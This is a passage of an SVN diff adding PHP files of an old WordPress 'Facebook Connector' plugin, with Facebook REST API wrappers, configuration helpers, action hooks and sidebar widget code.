+      $this->FQL_EC_NOT_INDEXABLE      => 'FQL: Statement not indexable',
+      $this->FQL_EC_UNKNOWN_FUNCTION   => 'FQL: Attempted to call unknown function',
+      $this->FQL_EC_INVALID_PARAM      => 'FQL: Invalid parameter passed in',
+      $this->API_EC_DATA_UNKNOWN_ERROR => 'Unknown data store API error',
+      $this->API_EC_DATA_INVALID_OPERATION => 'Invalid operation',
+      $this->API_EC_DATA_QUOTA_EXCEEDED => 'Data store allowable quota was exceeded',
+      $this->API_EC_DATA_OBJECT_NOT_FOUND => 'Specified object cannot be found',
+      $this->API_EC_DATA_OBJECT_ALREADY_EXISTS => 'Specified object already exists',
+      $this->API_EC_DATA_DATABASE_ERROR => 'A database error occurred. Please try again',
+    );
+  }
+}
+
+$profile_field_array = array(
+    "about_me",
+    "activities",
+    "affiliations",
+    "birthday",
+    "books",
+    "current_location",
+    "education_history",
+    "first_name",
+    "hometown_location",
+    "hs_info",
+    "interests",
+    "is_app_user",
+    "last_name",
+    "meeting_for",
+    "meeting_sex",
+    "movies",
+    "music",
+    "name",
+    "notes_count",
+    "pic",
+    "pic_big",
+    "pic_small",
+    "political",
+    "profile_update_time",
+    "quotes",
+    "relationship_status",
+    "religion",
+    "sex",
+    "significant_other_id",
+    "status",
+    "timezone",
+    "tv",
+    "wall_count",
+    "work_history");
+
+function fb_microtime_float() {
+  list($usec, $sec) = explode(' ', microtime());
+  return ((float)$usec + (float)$sec);
+}
+endif;
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig.php	(revision 44)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+if (version_compare("5", phpversion(),"<")){
+	include_once 'facebook-client/facebook.php';
+	include_once 'fbConfig_php5.php';
+}else{	
+	include_once 'facebook-client4/facebook.php';
+	include_once 'fbConfig_php4.php';
+}
+
+function is_config_setup() {
+  return (get_api_key() && get_api_secret() &&
+          get_api_key() != 'YOUR_API_KEY' &&
+          get_api_secret() != 'YOUR_API_SECRET');
+}
+
+// Whether the site is "connected" or not
+function is_fbconnect_enabled() {
+  if (!is_config_setup()) {
+    return false;
+  }
+
+  // Change this if you want to turn off Facebook connect
+  return true;
+}
+function get_api_key() {
+	if (isset($_POST['fb_api_key']) && $_POST['fb_api_key']!=""){
+		return $_POST['fb_api_key'];
+	}else{
+		return get_option('fb_api_key');
+	}
+}
+function get_api_secret() {
+	if (isset($_POST['fb_api_secret']) && $_POST['fb_api_secret']!=""){
+		return $_POST['fb_api_secret'];
+	}else{
+		return get_option('fb_api_secret');
+	}
+  
+}
+
+function get_base_fb_url() {
+  return "connect.facebook.com";
+}
+
+function get_ssl_root() {
+  return 'https://www.'.get_base_fb_url();
+}
+
+
+function get_static_root() {
+  return 'http://static.ak.'.get_base_fb_url();
+}
+
+
+function get_feed_bundle_id() {
+  return get_option('fb_templates_id');
+}
+
+/*
+ * Get the facebook client object for easy access.
+ */
+function facebook_client() {
+  static $facebook = null;
+  $api_key = get_api_key();
+  $api_secret = get_api_secret();
+  if ($facebook === null && $api_key!="" && $api_secret!="") {
+	$facebook = new Facebook($api_key, $api_secret, false, get_base_fb_url());
+  }
+  return $facebook;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php4.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php4.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php4.php	(revision 44)
@@ -0,0 +1,147 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+function fb_get_loggedin_user() {
+	$fbclient = & facebook_client();
+	if ($fbclient)
+		return $fbclient->get_loggedin_user();
+	return null;
+}
+
+function fb_user_getInfo($fb_user) {
+	$fbclient = & facebook_client();
+	if ($fbclient){
+		$fbapi_client = & $fbclient->api_client;
+		$userinfo = $fbapi_client->users_getInfo($fb_user, "about_me,profile_url,first_name,last_name,birthday,current_location,sex,pic,pic_small,pic_big,pic_square");
+		//print_r($userinfo);
+		if (isset($userinfo["users_getInfo_response"]) && isset($userinfo["users_getInfo_response"]["user"]))
+			return $userinfo["users_getInfo_response"]["user"];
+		else
+			return $userinfo;
+	}
+	return null;
+}
+
+function fb_feed_getRegisteredTemplateBundles() {
+	$fbclient = & facebook_client();
+	if ($fbclient){
+		$fbapi_client = & $fbclient->api_client;
+		$templates = $fbapi_client->feed_getRegisteredTemplateBundles();
+	
+		if (isset($templates) && isset($templates["feed_getRegisteredTemplateBundles_response"]) && isset($templates["feed_getRegisteredTemplateBundles_response"]["template_bundle"])){
+		 $templates = $templates["feed_getRegisteredTemplateBundles_response"]["template_bundle"];
+		 if (!isset($templates[0])){
+		 	$newtemplates = array();
+			$newtemplates[] = $templates;
+			$templates = $newtemplates;
+		 }
+		 foreach ($templates as $key=>$template){ //PHP5 structure
+		 	if (isset($template["one_line_story_templates"]) && isset($template["one_line_story_templates"]["one_line_story_template"])){
+		 		$templates[$key]["one_line_story_templates"][]=$template["one_line_story_templates"]["one_line_story_template"];
+		 	}
+			if(isset($template["short_story_templates"]) && isset($template["short_story_templates"]["short_story_template"])){
+		 		$templates[$key]["short_story_templates"][]=$template["short_story_templates"]["short_story_template"];
+		 	}
+		 }
+		 return $templates;
+		}else{
+		 return array();
+		}
+	}
+	return null;
+}
+
+function fb_feed_registerTemplateBundle($one_line_stories,$short_stories,$full_stories){
+	$fbclient = & facebook_client();
+	if ($fbclient){
+		$fbapi_client = & $fbclient->api_client;
+		$response = $fbapi_client->feed_registerTemplateBundle($one_line_stories,$short_stories,$full_stories);
+		if (isset($response["feed_registerTemplateBundle_response"]))
+			return $response["feed_registerTemplateBundle_response"];
+		else
+			return $response;
+	}
+	return null;
+}
+
+function fb_feed_deactivateTemplateBundleByID($templateID){
+	$fbclient = & facebook_client();
+	if ($fbclient){		
+		$fbapi_client = & $fbclient->api_client;
+		$fbapi_client->feed_deactivateTemplateBundleByID($templateID);
+	}
+	return null;	
+}
+
+function fb_feed_getRegisteredTemplateBundleByID($templateID){
+	$fbclient = & facebook_client();
+	if ($fbclient){		
+		$fbapi_client = & $fbclient->api_client;
+		return $fbapi_client->feed_getRegisteredTemplateBundleByID($templateID);
+	}
+	return null;
+}
+
+function fb_fql_query($query){
+	$fbclient = & facebook_client();
+	if ($fbclient){		
+		$fbapi_client = & $fbclient->api_client;
+		$response = $fbapi_client->fql_query($query);
+		if (isset($response["fql_query_response"]) && isset($response["fql_query_response"]["user"])){
+			if (isset($response["fql_query_response"]["user"][0])){
+				return $response["fql_query_response"]["user"];
+			}else{
+				$newresp = array();
+				$newresp[] = $response["fql_query_response"]["user"];
+			}
+		}
+		return $response;
+	}
+	return null;
+}
+function fb_expire_session(){
+	$fbclient = & facebook_client();
+    if ($fbclient && $fbclient->get_loggedin_user()!="") {
+		$fbclient->expire_session();
+	}
+}
+
+function fb_feed_publishUserAction($template_data){
+	$fbclient = & facebook_client();
+	if ($fbclient){		
+		$fbapi_client = & $fbclient->api_client;
+		$feed_bundle_id = get_option('fb_templates_id');
+		$fbapi_client->feed_publishUserAction( $feed_bundle_id, 
+                                           $template_data , 
+                                           null, 
+                                          null,2);
+	}
+}	
+
+function fb_showFeedDialog(){
+		$template_data = $_SESSION["template_data"];
+		if (isset($template_data) && $template_data!=""){
+				echo "<script type='text/javascript'>\n";
+				//echo "jQuery(window).ready(function() {\n";  NO FUNCIONA COMO EL ONLOAD
+				echo "window.onload = function() {\n";
+					echo "FB.ensureInit(function(){\n";
+					echo "	  FB.Connect.showFeedDialog(".get_option('fb_templates_id').", ".json_encode($template_data).", null, null, FB.FeedStorySize.full , FB.RequireConnect.promptConnect);";
+					echo "});\n";
+				echo "   };\n";
+				//echo "   });\n";
+				echo "	</script>";
+				$_SESSION["template_data"] = "";
+		}
+
+} 	
+
+//REYES
+function json_encode($data){
+	require_once 'facebook-client4/classes/JSON.php';
+	$json = new Services_JSON();
+	return $json->encode($data);
+}													  
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php5.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php5.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConfig_php5.php	(revision 44)
@@ -0,0 +1,223 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+function fb_get_loggedin_user() {
+	try{
+		$fbclient = & facebook_client();
+		if ($fbclient)
+			return $fbclient->get_loggedin_user();
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+
+function fb_user_getInfo($fb_user) {
+	try{
+		$fbclient = & facebook_client();
+		if ($fbclient){
+			$fbapi_client = & $fbclient->api_client;
+			$userinfo = $fbapi_client->users_getInfo($fb_user, "about_me,profile_url,first_name,last_name,birthday,current_location,locale,sex,pic,pic_with_logo,pic_small,pic_small_with_logo,pic_big_with_logo,pic_big,pic_square,pic_square_with_logo,affiliations,email_hashes,hometown_location,hs_info,education_history,interests,meeting_for,meeting_sex,movies,music,political,profile_update_time,proxied_email,quotes,relationship_status,religion,significant_other_id,timezone,tv,work_history");
+			if (isset($userinfo[0])){
+				return $userinfo[0];
+			}else{
+				return $userinfo;
+			}
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+
+function fb_feed_getRegisteredTemplateBundles() {
+	try{
+		$fbclient = & facebook_client();
+		if ($fbclient){
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->feed_getRegisteredTemplateBundles();
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+
+function fb_feed_registerTemplateBundle($one_line_stories,$short_stories,$full_stories){
+	try{
+		$fbclient = & facebook_client();
+		if ($fbclient){
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->feed_registerTemplateBundle($one_line_stories,$short_stories,$full_stories);
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+
+function fb_feed_deactivateTemplateBundleByID($templateID){
+	 try{
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			$fbapi_client->feed_deactivateTemplateBundleByID($templateID);
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;	
+}
+
+function fb_feed_getRegisteredTemplateBundleByID($templateID){
+	 try{
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->feed_getRegisteredTemplateBundleByID($templateID);
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+
+function fb_fql_query($query){
+  	try{
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->fql_query($query);
+		}
+	}catch (FacebookRestClientException $e) {
+		//echo "Facebook connect error:".$e->getCode();
+	}
+	return null;
+}
+function fb_expire_session(){
+	try {
+	
+		$fbclient = & facebook_client();
+	    if ($fbclient && $fbclient->get_loggedin_user()!="") {
+			$fbclient->expire_session();
+		}
+	}catch (Exception $e) {
+	// nothing, probably an expired session
+	}
+}
+
+function fb_feed_publishUserAction($template_data){
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			$feed_bundle_id = get_option('fb_templates_id');
+			$fbapi_client->feed_publishUserAction( $feed_bundle_id, 
+	                                           json_encode($template_data) , 
+	                                           null, 
+	                                          null,2);
+		}
+	}catch (Exception $e) {
+	// nothing, probably an expired session
+	}
+}
+
+function fb_events_get($uid=null, $eids=null, $start_time=null, $end_time=null, $rsvp_status=null){
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->events_get( $uid, $eids, $start_time, $end_time, $rsvp_status);
+		}
+	}catch (Exception $e) {
+	// nothing, probably an expired session
+	}
+}
+
+function fb_photos_getAlbums($uid=null, $aids=null) {
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->photos_getAlbums($uid, $aids);
+		}
+	}catch (Exception $e) {
+	// nothing, probably an expired session
+	}
+
+}
+
+function fb_photos_get($subj_id=null, $aid=null, $pids=null){
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->photos_get($subj_id, $aid, $pids);
+		}
+	}catch (Exception $e) {
+		print_r($e);
+		echo "ERROR";
+	// nothing, probably an expired session
+	}
+}		
+
+function fb_users_getStandardInfo($uids=null, $fields=null) {
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->users_getStandardInfo($uids, $fields);
+		}
+	}catch (Exception $e) {
+		print_r($e);
+		echo "ERROR";
+	// nothing, probably an expired session
+	}
+
+}
+
+function fb_showFeedDialog(){
+		$template_data = $_SESSION["template_data"];
+		if (isset($template_data) && $template_data!=""){
+				echo "<script type='text/javascript'>\n";
+				//echo "jQuery(window).ready(function() {\n";  NO FUNCIONA COMO EL ONLOAD
+				echo "window.onload = function() {\n";
+					echo "FB.ensureInit(function(){\n";
+					echo "	  FB.Connect.showFeedDialog(".get_option('fb_templates_id').", ".json_encode($template_data).", null, null, FB.FeedStorySize.full , FB.RequireConnect.promptConnect);";
+					echo "});\n";
+				echo "   };\n";
+				//echo "   });\n";
+				echo "	</script>";
+				$_SESSION["template_data"] = "";
+		}
+		
+
+}
+
+function fb_hash($email) {
+      $normalizedAddress = trim(strtolower($email));
+      //crc32 outputs signed int
+      $crc = crc32($normalizedAddress);
+      //output in unsigned int format
+      $unsignedCrc = sprintf('%u', $crc);
+      $md5 = md5($normalizedAddress);
+      return "{$unsignedCrc}_{$md5}";
+}
+	
+function fb_connect_registerUsers($accounts=null){
+	try {
+		$fbclient = & facebook_client();
+		if ($fbclient){		
+			$fbapi_client = & $fbclient->api_client;
+			return $fbapi_client->connect_registerUsers(json_encode($accounts));
+		}
+	}catch (Exception $e) {
+		print_r($e);
+		echo "ERROR";
+	// nothing, probably an expired session
+	}	
+}													  
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectCore.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectCore.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectCore.php	(revision 44)
@@ -0,0 +1,389 @@
+<?php
+/*
+ Plugin Name: Facebook Connector
+ Plugin URI: http://www.sociable.es/facebook-connect
+ Description: Allows the use of Facebook Connect for account registration, authentication, and commenting. 
+ Author: Javier Reyes
+ Author URI: http://www.sociable.es/
+ Version: 1.2.1
+ License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+ */
+
+define ( 'FBCONNECT_PLUGIN_REVISION', preg_replace( '/\$Rev: (.+) \$/', 'svn-\\1',
+	'$Rev: 62 $') ); 
+
+define ( 'FBCONNECT_DB_REVISION', 5);
+
+
+define ( 'FBCONNECT_LOG_LEVEL', 'warning');     
+
+set_include_path( dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );   
+
+require_once('fbConnectLogic.php');
+require_once('fbConnectInterface.php');
+
+
+restore_include_path();
+
+@session_start();
+
+if (! defined('WP_CONTENT_DIR'))
+    define('WP_CONTENT_DIR', ABSPATH . 'wp-content');
+
+if (! defined('WP_CONTENT_URL'))
+    define('WP_CONTENT_URL', get_option('siteurl') . '/wp-content');
+
+if (! defined('WP_PLUGIN_DIR'))
+    define('WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins');
+
+if (! defined('WP_PLUGIN_URL'))
+    define('WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins');
+
+if (isset($_REQUEST["fb_facebookapp_mode"])){
+	$_SESSION["fb_facebookapp_mode"]= $_REQUEST["fb_facebookapp_mode"];
+}
+
+
+if ((isset($_SESSION["fb_facebookapp_mode"]) && $_SESSION["fb_facebookapp_mode"]=="on") || isset($_REQUEST["fb_sig_user"]) || isset($_REQUEST["fb_sig_in_profile_tab"])){
+	define ('FBCONNECT_CANVAS', true);
+}else{
+	define ('FBCONNECT_CANVAS', false);
+}
+
+define ('FBCONNECT_PLUGIN_BASENAME', plugin_basename(dirname(__FILE__)));
+define ('FBCONNECT_PLUGIN_PATH', WP_PLUGIN_DIR."/".FBCONNECT_PLUGIN_BASENAME);
+define ('FBCONNECT_PLUGIN_URL', WP_PLUGIN_URL."/".FBCONNECT_PLUGIN_BASENAME);
+define ('FBCONNECT_PLUGIN_LANG', FBCONNECT_PLUGIN_BASENAME."/lang");
+
+//wp_enqueue_script('jquery'); 
+
+if  (!class_exists('WPfbConnect')):
+class WPfbConnect {
+	var $store;
+	var $consumer;
+
+	var $log;
+	var $status = array();
+
+	var $message;	  // Message to be displayed to the user.
+	var $action;	  // Internal action tag. 'success', 'warning', 'error', 'redirect'.
+
+	var $response;
+
+	var $enabled = true;
+
+	var $bind_done = false;
+
+	
+	function WPfbConnect() {
+		$this->log = &Log::singleton('error_log', PEAR_LOG_TYPE_SYSTEM, 'FBCONNECT');
+
+		// Set the log level
+		$fbconnect_log_level = constant('PEAR_LOG_' . strtoupper(FBCONNECT_LOG_LEVEL));
+		$this->log->setMask(Log::UPTO($fbconnect_log_level));
+	}
+
+
+	/**
+	 * Set Status.
+	 **/
+	function setStatus($slug, $state, $message) {
+		$this->status[$slug] = array('state'=>$state,'message'=>$message);
+	}
+
+
+	function textdomain() {
+		load_plugin_textdomain('fbconnect', PLUGINDIR ."/".FBCONNECT_PLUGIN_LANG);
+	}
+
+	function table_prefix() {
+		global $wpdb;
+		return isset($wpdb->base_prefix) ? $wpdb->base_prefix : $wpdb->prefix;
+	}
+
+	function comments_table_name() { return WPfbConnect::table_prefix() . 'comments'; }
+	function usermeta_table_name() { return WPfbConnect::table_prefix() . 'usermeta'; }
+	function users_table_name() { return WPfbConnect::table_prefix() . 'users'; }
+}
+endif;
+
+if (!function_exists('fbconnect_init')):
+function fbconnect_init() {
+	if ($GLOBALS['fbconnect'] && is_a($GLOBALS['fbconnect'], 'WPfbConnect')) {
+		return;
+	}
+	
+	$GLOBALS['fbconnect'] = new WPfbConnect();
+}
+endif;
+
+if (!function_exists('fbconnect_title')):
+function fbconnect_title($title) {
+	if($_REQUEST['fbconnect_action']=="community"){
+		return __('Community', 'fbconnect')." - ".$title;
+	}else if($_REQUEST['fbconnect_action']=="myhome"){
+		$userprofile = WPfbConnect_Logic::get_user();
+		return $userprofile->display_name." - ".$title;
+	}else if($_REQUEST['fbconnect_action']=="invite"){
+		return _e('Invite your friends', 'fbconnect')." - ".$title;
+	}
+		
+	return $title;
+}
+endif;
+
+/*
+Ver rewrite.php
+if (!function_exists('fbconnect_add_custom_urls')):
+function fbconnect_add_custom_urls() {
+  add_rewrite_rule('(userprofile)/[/]?([0-9]*)[/]?([0-9]*)$', 
+  'index.php?fbconnect_action=myhome&fbuserid=$matches[2]&var2=$matches[3]');
+  add_rewrite_tag('%fbuserid%', '[0-9]+');
+  add_rewrite_tag('%var2%', '[0-9]+');
+}
+endif;
+*/
+//wp_enqueue_script( 'prototype' );
+// -- Register actions and filters -- //
+
+add_filter('wp_title', 'fbconnect_title');
+
+// runs the function in the init hook
+//add_action('init', 'fbconnect_add_custom_urls');
+
+add_filter('get_comment_author_url', array('WPfbConnect_Logic', 'get_comment_author_url'));
+
+
+if( get_option('fb_add_post_share') ) {
+	add_action('the_content', array( 'WPfbConnect_Interface', 'add_fbshare' ) );
+}
+
+add_action( 'init', array( 'WPfbConnect','textdomain') ,1 ); // load textdomain
+
+register_activation_hook(FBCONNECT_PLUGIN_BASENAME.'/fbConnectCore.php', array('WPfbConnect_Logic', 'activate_plugin'));
+register_deactivation_hook(FBCONNECT_PLUGIN_BASENAME.'/fbConnectCore.php', array('WPfbConnect_Logic', 'deactivate_plugin'));
+
+add_action( 'admin_menu', array( 'WPfbConnect_Interface', 'add_admin_panels' ) );
+
+add_filter('language_attributes', array('WPfbConnect_Logic', 'html_namespace'));
+add_filter('get_avatar', array('WPfbConnect_Logic', 'fb_get_avatar'),10,4);
+// Add hooks to handle actions in WordPress
+
+//add_action( 'wp_authenticate', array( 'WPfbConnect_Logic', 'wp_authenticate' ) ); // fbconnect loop start
+add_action( 'wp_logout', array( 'WPfbConnect_Logic', 'fb_logout'),1);
+
+add_action( 'init', array( 'WPfbConnect_Logic', 'wp_login_fbconnect' ),100 ); // fbconnect loop done
+
+
+// Comment filtering
+add_action( 'comment_post', array( 'WPfbConnect_Logic', 'comment_fbconnect' ), 5 );
+
+//add_filter( 'comment_post_redirect', array( 'WPfbConnect_Logic', 'comment_post_redirect'), 0, 2);
+if( get_option('fb_enable_approval') ) {
+	add_filter( 'pre_comment_approved', array('WPfbConnect_Logic', 'comment_approval'));
+}
+
+
+// include internal stylesheet
+add_action( 'wp_head', array( 'WPfbConnect_Interface', 'style'));
+add_action( 'login_head', array( 'WPfbConnect_Interface', 'style'));
+
+if( get_option('fb_enable_commentform') ) {
+	add_action( 'comment_form', array( 'WPfbConnect_Interface', 'comment_form'), 10);
+}
+
+add_action( 'wp_footer', array( 'WPfbConnect_Logic', 'fbconnect_init_scripts'), 1);
+
+if(!function_exists('carga_template')):
+function carga_template() {
+	if (isset($_REQUEST['fbconnect_action'])){
+		set_include_path( TEMPLATEPATH . PATH_SEPARATOR . dirname(__FILE__) .PATH_SEPARATOR. WP_PLUGIN_DIR.'/'.FBCONNECT_PLUGIN_BASENAME. PATH_SEPARATOR . get_include_path() );   
+		if($_REQUEST['fbconnect_action']=="community"){
+			include( 'community.php');
+		}else if($_REQUEST['fbconnect_action']=="myhome"){
+			include( 'myhome.php');
+		}else if($_REQUEST['fbconnect_action']=="tab"){
+			include('fbconnect_tab.php');
+		}else if($_REQUEST['fbconnect_action']=="invite"){
+			include('invitefriends.php');
+		}else if($_REQUEST['fbconnect_action']=="logout"){
+			if(function_exists('wp_logout')):
+				wp_logout();
+			endif;
+			if(function_exists('wp_redirect')):
+				wp_redirect( get_option('siteurl') );
+			endif;
+		}else if($_REQUEST['fbconnect_action']=="fbfeed"){
+			include( 'fbfeed.php');
+		}
+		restore_include_path();
+		exit;
+	}
+}
+endif;
+add_action('template_redirect', 'carga_template');
+
+/**
+ * If the current comment was submitted with FacebookConnect, return true
+ * useful for  <?php echo ( is_comment_fbconnect() ? 'Submitted with FacebookConnect' : '' ); ?>
+ */
+if(!function_exists('is_comment_fbconnect')):
+function is_comment_fbconnect() {
+	global $comment;
+	return ( $comment->fbconnect == 1 );
+}
+endif;
+
+/**
+ * If the current user registered with FacebookConnect, return true
+ */
+if(!function_exists('is_user_fbconnect')):
+function is_user_fbconnect($id = null) {
+	global $current_user;
+    $user = $current_user;
+	if ($id != null) {
+		$user = get_userdata($id);
+	}
+	if($user!=null && $user->fbconnect_userid){
+		return true;
+	}else{
+		return false;
+	}
+}
+endif;
+
+
+//MAIN WIDGET
+if(!function_exists('widget_FacebookConnector_init')):
+function widget_FacebookConnector_init() {
+if (!function_exists('register_sidebar_widget')) return;
+function widget_FacebookConnector($args) {
+		
+		extract($args);
+
+		$options = get_option('widget_FacebookConnector');
+
+		if (!isset($options) || $options==""){
+			$before_title ="<h2>";
+			$after_title ="</h2>";
+			$options = widget_FacebookConnector_init_options($options);
+		}
+		$title = $options['title'];
+		$welcometext = $options['welcometext'];
+		$footertext = $options['footertext'];
+		$invitetext = $options['invitetext'];
+		$lastvisittext = $options['lastvisittext'];
+		$logintext = $options['logintext'];
+		$loginbutton = $options['loginbutton'];
+		$alreadytext = $options['alreadytext'];
+		$maxlastusers = $options['maxlastusers'];
+
+		echo $before_widget . $before_title . $title . $after_title;
+
+		$fb_user = fb_get_loggedin_user();
+
+		$user = wp_get_current_user();
+		
+		$users = WPfbConnect_Logic::get_lastusers_fbconnect($maxlastusers);
+		$siteurl = get_option('siteurl');
+
+		$uri = "";
+		if (isset($_SERVER["REQUEST_URI"])){
+			$uri = $_SERVER["REQUEST_URI"];			
+		}
+		
+		set_include_path( TEMPLATEPATH . PATH_SEPARATOR . dirname(__FILE__) .PATH_SEPARATOR. WP_PLUGIN_DIR.'/'.FBCONNECT_PLUGIN_BASENAME. PATH_SEPARATOR . get_include_path() );   
+		
+		include( 'fbconnect_widget.php');
+		
+		restore_include_path();
+		
+		echo $footertext . $after_widget;
+	}
+
+	function widget_FacebookConnector_init_options($options){
+		if (!isset($options['title'])){
+			$options['title'] = "Community";
+		}
+		if (!isset($options['welcometext'])){
+			$options['welcometext'] = "Welcome to ".get_option('blogname')."!";
+		}
+		if (!isset($options['lastvisittext'])){
+			$options['lastvisittext'] = "Last visitors";
+		}
+		if (!isset($options['invitetext'])){
+			$options['invitetext'] = "Invite your friends!";
+		}
+		if (!isset($options['logintext'])){
+			$options['logintext'] = "Login using Facebook:";
+		}
+		if (!isset($options['loginbutton'])){
+			$options['loginbutton'] = "long";
+		}
+		if (!isset($options['alreadytext'])){
+			$options['alreadytext'] = "Already a member?";
+		}
+		if (!isset($options['footertext'])){
+			$options['footertext'] = 'Powered by <a href="http://www.sociable.es">Sociable!</a>';
+		}
+		if (!isset($options['maxlastusers'])){
+			$options['maxlastusers'] = "9";
+		}
+		return $options;
+	}
+	
+	function widget_FacebookConnector_control() {
+		$options = get_option('widget_FacebookConnector');
+		if ( $_POST['FacebookConnector-submit'] ) {
+			$options['title'] = strip_tags(stripslashes($_POST['FacebookConnector-title']));
+			$options['welcometext'] = stripslashes($_POST['FacebookConnector-welcometext']);
+			$options['footertext'] = stripslashes($_POST['FacebookConnector-footertext']);
+			$options['invitetext'] = stripslashes($_POST['FacebookConnector-invitetext']);
+			$options['lastvisittext'] = stripslashes($_POST['FacebookConnector-lastvisittext']);
+			$options['logintext'] = stripslashes($_POST['FacebookConnector-logintext']);
+			$options['loginbutton'] = stripslashes($_POST['FacebookConnector-loginbutton']);
+			$options['alreadytext'] = stripslashes($_POST['FacebookConnector-alreadytext']);
+			$options['maxlastusers'] = (int)$_POST['FacebookConnector-maxlastusers'];
+			update_option('widget_FacebookConnector', $options);
+		}
+
+		$options = widget_FacebookConnector_init_options($options);
+		
+		$title = htmlspecialchars($options['title'], ENT_QUOTES);
+		$welcometext = htmlspecialchars($options['welcometext'], ENT_QUOTES);
+		$footertext = htmlspecialchars($options['footertext'], ENT_QUOTES);
+		$invitetext = htmlspecialchars($options['invitetext'], ENT_QUOTES);
+		$lastvisittext = htmlspecialchars($options['lastvisittext'], ENT_QUOTES);
+		$logintext = htmlspecialchars($options['logintext'], ENT_QUOTES);
+		$loginbutton = htmlspecialchars($options['loginbutton'], ENT_QUOTES);
+		$alreadytext = htmlspecialchars($options['alreadytext'], ENT_QUOTES);
+		$maxlastusers = htmlspecialchars($options['maxlastusers'], ENT_QUOTES);
+		//get_option('blogname')
+
+		echo '<p style="text-align:right;"><label for="FacebookConnector-title">'.__('Title:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-title" name="FacebookConnector-title" type="text" value="'.$title.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-welcometext">'.__('Welcome msg:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-welcometext" name="FacebookConnector-welcometext" type="text" value="'.$welcometext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-footertext">'.__('Footer msg:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-footertext" name="FacebookConnector-footertext" type="text" value="'.$footertext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-invitetext">'.__('Invite msg:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-invitetext" name="FacebookConnector-invitetext" type="text" value="'.$invitetext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-lastvisittext">'.__('Visitors title:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-lastvisittext" name="FacebookConnector-lastvisittext" type="text" value="'.$lastvisittext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-logintext">'.__('Login msg:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-logintext" name="FacebookConnector-logintext" type="text" value="'.$logintext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-alreadytext">'.__('Member msg:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-alreadytext" name="FacebookConnector-alreadytext" type="text" value="'.$alreadytext.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-maxlastusers">'.__('Max users:', 'fbconnect').' <input style="width: 180px;" id="FacebookConnector-maxlastusers" name="FacebookConnector-maxlastusers" type="text" value="'.$maxlastusers.'" /></label></p>';
+		echo '<p style="text-align:right;"><label for="FacebookConnector-loginbutton">'.__('Login button:', 'fbconnect').' <SELECT style="width: 180px;" id="FacebookConnector-loginbutton" name="FacebookConnector-loginbutton">';
+		echo '<OPTION ';
